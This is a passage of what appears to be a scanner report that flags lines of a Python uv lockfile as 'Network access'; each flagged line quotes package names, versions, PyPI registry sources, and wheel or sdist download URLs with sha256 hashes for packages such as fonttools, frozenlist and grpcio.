    ] wheels = [     { url = "https://files.pythonhosted.org/packages/cc/6e/2394f8163360f8391f8f1b7e72d300a82724edb81a7b7084c799fbd4c91f/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9efb21c
  • Network accessline 252
    wheels = [     { url = "https://files.pythonhosted.org/packages/cc/6e/2394f8163360f8391f8f1b7e72d300a82724edb81a7b7084c799fbd4c91f/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9efb21c1e
  • Network accessline 253
    { url = "https://files.pythonhosted.org/packages/cc/6e/2394f8163360f8391f8f1b7e72d300a82724edb81a7b7084c799fbd4c91f/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9efb21c1ee64981e184b9e0b
  • Network accessline 254
    { url = "https://files.pythonhosted.org/packages/34/c2/ef9b6a63f7dc432712a462c816662e662e00d38caa9b861c8c2588195d03/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2732904099e0a4d4db774a5fc6
  • Network accessline 258
    name = "cuda-pathfinder" version = "1.7.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 259
    version = "1.7.0" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 260
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 261
    wheels = [     { url = "https://files.pythonhosted.org/packages/62/01/a7171c5e2e8755597bd8f1c1eb228a0876f502afdf25f936061f5dbe2880/cuda_pathfinder-1.7.0-py3-none-any.whl", hash = "sha256:e9d67e950f3d5992b854dfd25917c3719d0c21d3057b11abe86ba
  • Network accessline 262
    { url = "https://files.pythonhosted.org/packages/62/01/a7171c5e2e8755597bd8f1c1eb228a0876f502afdf25f936061f5dbe2880/cuda_pathfinder-1.7.0-py3-none-any.whl", hash = "sha256:e9d67e950f3d5992b854dfd25917c3719d0c21d3057b11abe86ba6feec526138", s
  • Network accessline 266
    name = "cuda-toolkit" version = "13.0.3.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 267
    version = "13.0.3.0" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 268
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 269
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/c7/a79086a62c98befcdb8349656c6f114e2db3b8b2422f6e25c97a7f2a9a3c/cuda_toolkit-13.0.3.0-py2.py3-none-any.whl", hash = "sha256:d693caaa261214ddd7dbb60d68e71cbed884e68c2be750977
  • Network accessline 270
    { url = "https://files.pythonhosted.org/packages/d1/c7/a79086a62c98befcdb8349656c6f114e2db3b8b2422f6e25c97a7f2a9a3c/cuda_toolkit-13.0.3.0-py2.py3-none-any.whl", hash = "sha256:d693caaa261214ddd7dbb60d68e71cbed884e68c2be7509778f3051da0b91c3f
  • Network accessline 315
    name = "cycler" version = "0.12.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 316
    version = "0.12.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/a9/95/a3dbbb5028f35eafb79008e7522a75244477d2838f38cbb722248dabc2a8/cycler-0.12.1.tar.gz", hash = "sha256:88bb128f
  • Network accessline 317
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 318
    sdist = { url = "https://files.pythonhosted.org/packages/a9/95/a3dbbb5028f35eafb79008e7522a75244477d2838f38cbb722248dabc2a8/cycler-0.12.1.tar.gz", hash = "sha256:88bb128f02ba341da8ef447245a9e138fae777f6a23943da4540077d3601eb1c", size = 7615
  • Network accessline 319
    wheels = [     { url = "https://files.pythonhosted.org/packages/e7/05/c19819d5e3d95294a6f5947fb9b9629efb316b96de511b418c53d245aae6/cycler-0.12.1-py3-none-any.whl", hash = "sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0
  • Network accessline 320
    { url = "https://files.pythonhosted.org/packages/e7/05/c19819d5e3d95294a6f5947fb9b9629efb316b96de511b418c53d245aae6/cycler-0.12.1-py3-none-any.whl", hash = "sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0d30", size = 83
  • Network accessline 324
    name = "einops" version = "0.8.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 325
    version = "0.8.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/2c/77/850bef8d72ffb9219f0b1aac23fbc1bf7d038ee6ea666f331fa273031aa2/einops-0.8.2.tar.gz", hash = "sha256:609da66557
  • Network accessline 326
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 327
    sdist = { url = "https://files.pythonhosted.org/packages/2c/77/850bef8d72ffb9219f0b1aac23fbc1bf7d038ee6ea666f331fa273031aa2/einops-0.8.2.tar.gz", hash = "sha256:609da665570e5e265e27283aab09e7f279ade90c4f01bcfca111f3d3e13f2827", size = 56261
  • Network accessline 328
    wheels = [     { url = "https://files.pythonhosted.org/packages/2a/09/f8d8f8f31e4483c10a906437b4ce31bdf3d6d417b73fe33f1a8b59e34228/einops-0.8.2-py3-none-any.whl", hash = "sha256:54058201ac7087911181bfec4af6091bb59380360f069276601256a76af081
  • Network accessline 329
    { url = "https://files.pythonhosted.org/packages/2a/09/f8d8f8f31e4483c10a906437b4ce31bdf3d6d417b73fe33f1a8b59e34228/einops-0.8.2-py3-none-any.whl", hash = "sha256:54058201ac7087911181bfec4af6091bb59380360f069276601256a76af08193", size = 656
  • Network accessline 333
    name = "filelock" version = "3.32.4" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 334
    version = "3.32.4" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6d/30/03b03951873a1a0ffc7e8ca0e10c15597b59e8d0e39260704cd2ea087bc4/filelock-3.32.4.tar.gz", hash = "sha256:2bde2e
  • Network accessline 335
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 336
    sdist = { url = "https://files.pythonhosted.org/packages/6d/30/03b03951873a1a0ffc7e8ca0e10c15597b59e8d0e39260704cd2ea087bc4/filelock-3.32.4.tar.gz", hash = "sha256:2bde2e4cf732e0153406d8a7bc80620ecf5e621fe0d25e41143c4e3b4733ff30", size = 22
  • Network accessline 337
    wheels = [     { url = "https://files.pythonhosted.org/packages/01/a4/9b63d595d748e3aff8812b65eacc1a2c4bd90b7c2012e08e72373b4835eb/filelock-3.32.4-py3-none-any.whl", hash = "sha256:22e58ca3b1ae3b98993b762d7338367ae64fe50252bf78d59da3bfebcdf
  • Network accessline 338
    { url = "https://files.pythonhosted.org/packages/01/a4/9b63d595d748e3aff8812b65eacc1a2c4bd90b7c2012e08e72373b4835eb/filelock-3.32.4-py3-none-any.whl", hash = "sha256:22e58ca3b1ae3b98993b762d7338367ae64fe50252bf78d59da3bfebcdf1cedd", size = 
  • Network accessline 342
    name = "fonttools" version = "4.63.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 343
    version = "4.63.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/84/69/c97f2c18e0db87d2c7b15da1974dace76ae938f1cfa22e2727a648b7ed43/fonttools-4.63.0.tar.gz", hash = "sha256:caeb5
  • Network accessline 344
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 345
    sdist = { url = "https://files.pythonhosted.org/packages/84/69/c97f2c18e0db87d2c7b15da1974dace76ae938f1cfa22e2727a648b7ed43/fonttools-4.63.0.tar.gz", hash = "sha256:caeb583deeb5168e694b65cda8b4ee62abedfa66cf88488734466f2366b9c4e0", size = 3
  • Network accessline 346
    wheels = [     { url = "https://files.pythonhosted.org/packages/0f/8d/d8fec3dcde2963f8c908fb315e5ff2cd0ac34f82394bbbf73a2aa5145ce3/fonttools-4.63.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:cd7e9857e5e63738b9d9fd707bc1f59c8b0
  • Network accessline 347
    { url = "https://files.pythonhosted.org/packages/0f/8d/d8fec3dcde2963f8c908fb315e5ff2cd0ac34f82394bbbf73a2aa5145ce3/fonttools-4.63.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:cd7e9857e5e63738b9d9fd707bc1f59c8b09e5177726d23664
  • Network accessline 348
    { url = "https://files.pythonhosted.org/packages/ef/71/d935dc54e4ff121bfdd11e08702db63a7e6f25af21d8a3d7b7212df53641/fonttools-4.63.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c2a2a42198b696a6f48fad91709afb55176e66a5e566131219dba3
  • Network accessline 349
    { url = "https://files.pythonhosted.org/packages/8e/40/e76320afa1df918e146155ef239b1719ee266092e96f5423bfd075affba1/fonttools-4.63.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1e8747
  • Network accessline 350
    { url = "https://files.pythonhosted.org/packages/ce/36/0b805d8c485f872f65a509cbe3b58a5d0d17bee855333b54a150c79d3061/fonttools-4.63.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22135da48a348785c5e2d5d2d9d6bec
  • Network accessline 351
    { url = "https://files.pythonhosted.org/packages/c8/26/2cee03d0aa083ab022da5c07aff9ed3f689da1defb81ad6917c9627896da/fonttools-4.63.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ccf41f2efdf56994d22d73bef4ced1052161958169428d06ba97
  • Network accessline 352
    { url = "https://files.pythonhosted.org/packages/7e/48/cc4b66d9058c0d0982c833fad10127c4b0e9324606aafa41382295ca4102/fonttools-4.63.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9ced0bd02ac751dd6319b0da88aaef24414e3b0dbc32bb4f24944
  • Network accessline 353
    { url = "https://files.pythonhosted.org/packages/d8/1f/a98a30a814b9ddef3a2e706025f90b9e0bc94890e6cb15254bc86547d11a/fonttools-4.63.0-cp313-cp313-win32.whl", hash = "sha256:85be818f5506e8a7753153def2c9550178f0ecae6a47b5e0e8dbb23f7cc90380", s
  • Network accessline 354
    { url = "https://files.pythonhosted.org/packages/92/46/5177b01f3b4abfdd4409f31cca4ab279c9343a26efbe9ec78c97fc612e02/fonttools-4.63.0-cp313-cp313-win_amd64.whl", hash = "sha256:ba04cb5891d4c0c21b6da95eda8d7b090021508a294fff33464fc7d241e0856b
  • Network accessline 355
    { url = "https://files.pythonhosted.org/packages/2c/47/c99d5268f354002ce80f8d029cd9d7d872969da1de8b93d32de4dc56d6f4/fonttools-4.63.0-py3-none-any.whl", hash = "sha256:445af2eab030a16b9171ea8bdda7ebf7d96bda2df88ee182a464252f6e05e20d", size =
  • Network accessline 359
    name = "frozenlist" version = "1.8.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 360
    version = "1.8.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede82
  • Network accessline 361
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 362
    sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad", size = 4
  • Network accessline 363
    wheels = [     { url = "https://files.pythonhosted.org/packages/2d/40/0832c31a37d60f60ed79e9dfb5a92e1e2af4f40a16a29abcc7992af9edff/frozenlist-1.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8d92f1a84bb12d9e56f818b3a746f3efba9
  • Network accessline 364
    { url = "https://files.pythonhosted.org/packages/2d/40/0832c31a37d60f60ed79e9dfb5a92e1e2af4f40a16a29abcc7992af9edff/frozenlist-1.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73d
  • Network accessline 365
    { url = "https://files.pythonhosted.org/packages/30/ba/b0b3de23f40bc55a7057bd38434e25c34fa48e17f20ee273bbde5e0650f3/frozenlist-1.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8
  • Network accessline 366
    { url = "https://files.pythonhosted.org/packages/0c/ab/6e5080ee374f875296c4243c381bbdef97a9ac39c6e3ce1d5f7d42cb78d6/frozenlist-1.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6
  • Network accessline 367
    { url = "https://files.pythonhosted.org/packages/d5/4e/e4691508f9477ce67da2015d8c00acd751e6287739123113a9fca6f1604e/frozenlist-1.8.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb30f9626572a
  • Network accessline 368
    { url = "https://files.pythonhosted.org/packages/40/76/c202df58e3acdf12969a7895fd6f3bc016c642e6726aa63bd3025e0fc71c/frozenlist-1.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaa352
  • Network accessline 369
    { url = "https://files.pythonhosted.org/packages/f9/c0/8746afb90f17b73ca5979c7a3958116e105ff796e718575175319b5bb4ce/frozenlist-1.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:03ae967b4
  • Network accessline 370
    { url = "https://files.pythonhosted.org/packages/7e/eb/4c7eefc718ff72f9b6c4893291abaae5fbc0c82226a32dcd8ef4f7a5dbef/frozenlist-1.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6292f
  • Network accessline 371
    { url = "https://files.pythonhosted.org/packages/c2/4e/e5c02187cf704224f8b21bee886f3d713ca379535f16893233b9d672ea71/frozenlist-1.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29548f9b5b5e
  • Network accessline 372
    { url = "https://files.pythonhosted.org/packages/1f/96/cb85ec608464472e82ad37a17f844889c36100eed57bea094518bf270692/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76
  • Network accessline 373
    { url = "https://files.pythonhosted.org/packages/5d/6f/4ae69c550e4cee66b57887daeebe006fe985917c01d0fff9caab9883f6d0/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae5
  • Network accessline 374
    { url = "https://files.pythonhosted.org/packages/7a/58/afd56de246cf11780a40a2c28dc7cbabbf06337cc8ddb1c780a2d97e88d8/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef
  • Network accessline 375
    { url = "https://files.pythonhosted.org/packages/cb/36/cdfaf6ed42e2644740d4a10452d8e97fa1c062e2a8006e4b09f1b5fd7d63/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8
  • Network accessline 376
    { url = "https://files.pythonhosted.org/packages/03/a8/9ea226fbefad669f11b52e864c55f0bd57d3c8d7eb07e9f2e9a0b39502e1/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb
  • Network accessline 377
    { url = "https://files.pythonhosted.org/packages/1e/0b/1b5531611e83ba7d13ccc9988967ea1b51186af64c42b7a7af465dcc9568/frozenlist-1.8.0-cp313-cp313-win32.whl", hash = "sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496", s
  • Network accessline 378
    { url = "https://files.pythonhosted.org/packages/d8/cf/174c91dbc9cc49bc7b7aab74d8b734e974d1faa8f191c74af9b7e80848e6/frozenlist-1.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231
  • Network accessline 379
    { url = "https://files.pythonhosted.org/packages/c1/17/502cd212cbfa96eb1388614fe39a3fc9ab87dbbe042b66f97acb57474834/frozenlist-1.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62
  • Network accessline 380
    { url = "https://files.pythonhosted.org/packages/d2/5c/3bbfaa920dfab09e76946a5d2833a7cbdf7b9b4a91c714666ac4855b88b4/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a
  • Network accessline 381
    { url = "https://files.pythonhosted.org/packages/d2/d6/f03961ef72166cec1687e84e8925838442b615bd0b8854b54923ce5b7b8a/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d
  • Network accessline 382
    { url = "https://files.pythonhosted.org/packages/1e/bb/a6d12b7ba4c3337667d0e421f7181c82dda448ce4e7ad7ecd249a16fa806/frozenlist-1.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc
  • Network accessline 383
    { url = "https://files.pythonhosted.org/packages/bc/71/d1fed0ffe2c2ccd70b43714c6cab0f4188f09f8a67a7914a6b46ee30f274/frozenlist-1.8.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b3210649ee28
  • Network accessline 384
    { url = "https://files.pythonhosted.org/packages/c9/1f/fb1685a7b009d89f9bf78a42d94461bc06581f6e718c39344754a5d9bada/frozenlist-1.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581ef
  • Network accessline 385
    { url = "https://files.pythonhosted.org/packages/e6/3b/b991fe1612703f7e0d05c0cf734c1b77aaf7c7d321df4572e8d36e7048c8/frozenlist-1.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3ef2d026
  • Network accessline 386
    { url = "https://files.pythonhosted.org/packages/ca/ec/c5c618767bcdf66e88945ec0157d7f6c4a1322f1473392319b7a2501ded7/frozenlist-1.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5500e
  • Network accessline 387
    { url = "https://files.pythonhosted.org/packages/7c/ce/3934758637d8f8a88d11f0585d6495ef54b2044ed6ec84492a91fa3b27aa/frozenlist-1.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50066c3997d
  • Network accessline 388
    { url = "https://files.pythonhosted.org/packages/fc/4f/a7e4d0d467298f42de4b41cbc7ddaf19d3cfeabaf9ff97c20c6c7ee409f9/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9
  • Network accessline 389
    { url = "https://files.pythonhosted.org/packages/dc/48/c7b163063d55a83772b268e6d1affb960771b0e203b632cfe09522d67ea5/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3c
  • Network accessline 390
    { url = "https://files.pythonhosted.org/packages/9f/d0/2366d3c4ecdc2fd391e0afa6e11500bfba0ea772764d631bbf82f0136c9d/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46
  • Network accessline 391
    { url = "https://files.pythonhosted.org/packages/b8/94/daff920e82c1b70e3618a2ac39fbc01ae3e2ff6124e80739ce5d71c9b920/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc15831
  • Network accessline 392
    { url = "https://files.pythonhosted.org/packages/e3/20/bba307ab4235a09fdcd3cc5508dbabd17c4634a1af4b96e0f69bfe551ebd/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867ea
  • Network accessline 393
    { url = "https://files.pythonhosted.org/packages/fd/00/04ca1c3a7a124b6de4f8a9a17cc2fcad138b4608e7a3fc5877804b8715d7/frozenlist-1.8.0-cp313-cp313t-win32.whl", hash = "sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b", 
  • Network accessline 394
    { url = "https://files.pythonhosted.org/packages/59/5e/c69f733a86a94ab10f68e496dc6b7e8bc078ebb415281d5698313e3af3a1/frozenlist-1.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b88
  • Network accessline 395
    { url = "https://files.pythonhosted.org/packages/16/6c/be9d79775d8abe79b05fa6d23da99ad6e7763a1d080fbae7290b286093fd/frozenlist-1.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e04
  • Network accessline 396
    { url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size =
  • Network accessline 400
    name = "fsspec" version = "2026.7.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 401
    version = "2026.7.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/00/78/f34251dadb8f3921264a1d9b8946f5e542014ee2614b285261b4e40e6775/fsspec-2026.7.0.tar.gz", hash = "sha256:c803
  • Network accessline 402
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 403
    sdist = { url = "https://files.pythonhosted.org/packages/00/78/f34251dadb8f3921264a1d9b8946f5e542014ee2614b285261b4e40e6775/fsspec-2026.7.0.tar.gz", hash = "sha256:c803c40f4cf860b49dea58ee3e1c33cb9c790520e233537e1340049f89b82a88", size = 31
  • Network accessline 404
    wheels = [     { url = "https://files.pythonhosted.org/packages/fd/3c/6a2bf344106328fd04963664a60b9bb6496fc25df8e962fcdc1367285fb9/fsspec-2026.7.0-py3-none-any.whl", hash = "sha256:b57ddbafedfaef7018c1ecab32aa200a9d7ca26b77965f64e48b7006124
  • Network accessline 405
    { url = "https://files.pythonhosted.org/packages/fd/3c/6a2bf344106328fd04963664a60b9bb6496fc25df8e962fcdc1367285fb9/fsspec-2026.7.0-py3-none-any.whl", hash = "sha256:b57ddbafedfaef7018c1ecab32aa200a9d7ca26b77965f64e48b70061249d279", size = 
  • Network accessline 414
    name = "googleapis-common-protos" version = "1.75.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 415
    version = "1.75.2" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 416
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 418
    { name = "protobuf" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c0/90/fb8f1c84537fbf210c1f53a53ae473a805f6599c5a40b93c1bbadd211f7a/googleapis_common_protos-1.75.2.tar.gz", hash = "sha256:8829a3d1e4508c5b7b9a6b9525f7fccff61
  • Network accessline 419
    ] sdist = { url = "https://files.pythonhosted.org/packages/c0/90/fb8f1c84537fbf210c1f53a53ae473a805f6599c5a40b93c1bbadd211f7a/googleapis_common_protos-1.75.2.tar.gz", hash = "sha256:8829a3d1e4508c5b7b9a6b9525f7fccff611f8531644579a76466c2929
  • Network accessline 420
    sdist = { url = "https://files.pythonhosted.org/packages/c0/90/fb8f1c84537fbf210c1f53a53ae473a805f6599c5a40b93c1bbadd211f7a/googleapis_common_protos-1.75.2.tar.gz", hash = "sha256:8829a3d1e4508c5b7b9a6b9525f7fccff611f8531644579a76466c29295d
  • Network accessline 421
    wheels = [     { url = "https://files.pythonhosted.org/packages/47/5b/1c9e55363c3b1890a98cae813de5b4ea327845756cd8fb7ee690140c7eac/googleapis_common_protos-1.75.2-py3-none-any.whl", hash = "sha256:6b83302f554ea93a0f48409c7fc2050f954bcbcddb7
  • Network accessline 422
    { url = "https://files.pythonhosted.org/packages/47/5b/1c9e55363c3b1890a98cae813de5b4ea327845756cd8fb7ee690140c7eac/googleapis_common_protos-1.75.2-py3-none-any.whl", hash = "sha256:6b83302f554ea93a0f48409c7fc2050f954bcbcddb7e3a9c76d4a823cb
  • Network accessline 426
    name = "greenlet" version = "3.5.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 427
    version = "3.5.5" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae0
  • Network accessline 428
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 429
    sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207
  • Network accessline 430
    wheels = [     { url = "https://files.pythonhosted.org/packages/fb/3d/8cef5f724ec0d4add2af8961d504535ec60c3cca9e464f6d03bdba29d85b/greenlet-3.5.5-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b79fd2a5bc099b5e744f34c4c9a58954a5f4cb
  • Network accessline 431
    { url = "https://files.pythonhosted.org/packages/fb/3d/8cef5f724ec0d4add2af8961d504535ec60c3cca9e464f6d03bdba29d85b/greenlet-3.5.5-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b79fd2a5bc099b5e744f34c4c9a58954a5f4cb7529fb4b6e84460
  • Network accessline 432
    { url = "https://files.pythonhosted.org/packages/88/4b/8e7aa3f514273aecff30a16ab1bac09ff54cfc7e6860fdd8058c37ff2499/greenlet-3.5.5-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:634cf15a233a949136879dd388e25d
  • Network accessline 433
    { url = "https://files.pythonhosted.org/packages/85/48/4e95e9dd5a8a397dc6a6345dd7f1935113d0fca4f85e89d3976da9cd988d/greenlet-3.5.5-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:499adea519f748407fc6806d20eeda
  • Network accessline 434
    { url = "https://files.pythonhosted.org/packages/89/5d/398a1c71fa7a277deeb376c999979de6786f08fc2d5747a0b9d6e11738dd/greenlet-3.5.5-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2eabb980975cba5b93a95f6f69287d05
  • Network accessline 435
    { url = "https://files.pythonhosted.org/packages/04/1b/745450fc5ea9e0cb17d840d248f284db3363de736d362c7d2d883e3eadba/greenlet-3.5.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:03115c2e0a371999bf8ae616aa8d653f96641d4705c457aebaa187
  • Network accessline 436
    { url = "https://files.pythonhosted.org/packages/d4/29/d51b296e3191bb15d3d81ec375af1909e4466c0f395d744ed475801798a9/greenlet-3.5.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4441153ffba21b90d3ca89fe3d31f5c093ae6c0bf0cfdfc98f54cde
  • Network accessline 437
    { url = "https://files.pythonhosted.org/packages/12/63/369f1a1625e64e9e31df3963c6044056e3fdfa3fa3fdba3c54ffefa6e987/greenlet-3.5.5-cp313-cp313-win_amd64.whl", hash = "sha256:95c5b1f4b3a193f8a0c2de4bfdcb48d119f7f1063941f1de1f2168051b3e52dd",
  • Network accessline 438
    { url = "https://files.pythonhosted.org/packages/45/78/649cb5c09d4d81f6dd1444e75474a7206784743283a21d24171562ac4899/greenlet-3.5.5-cp313-cp313-win_arm64.whl", hash = "sha256:1af90aa4bc129883b340cdd6957a3bc74f60528a4993bbd1f53aaebe1d9981cc",
  • Network accessline 442
    name = "grpcio" version = "1.83.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 443
    version = "1.83.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 444
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 446
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/0c/98/304898ac4e04e2d5e4e4c2eadc178b1f2a16d5f4bc2f91306c87d64680b9/grpcio-1.83.0.tar.gz", hash = "sha256:7674587248fbbb2ac6e4eecf83a8a0f3d91a928f941d
  • Network accessline 447
    ] sdist = { url = "https://files.pythonhosted.org/packages/0c/98/304898ac4e04e2d5e4e4c2eadc178b1f2a16d5f4bc2f91306c87d64680b9/grpcio-1.83.0.tar.gz", hash = "sha256:7674587248fbbb2ac6e4eecf83a8a0f3d91a928f941de571acfd3a2f007fbc24", size = 13
  • Network accessline 448
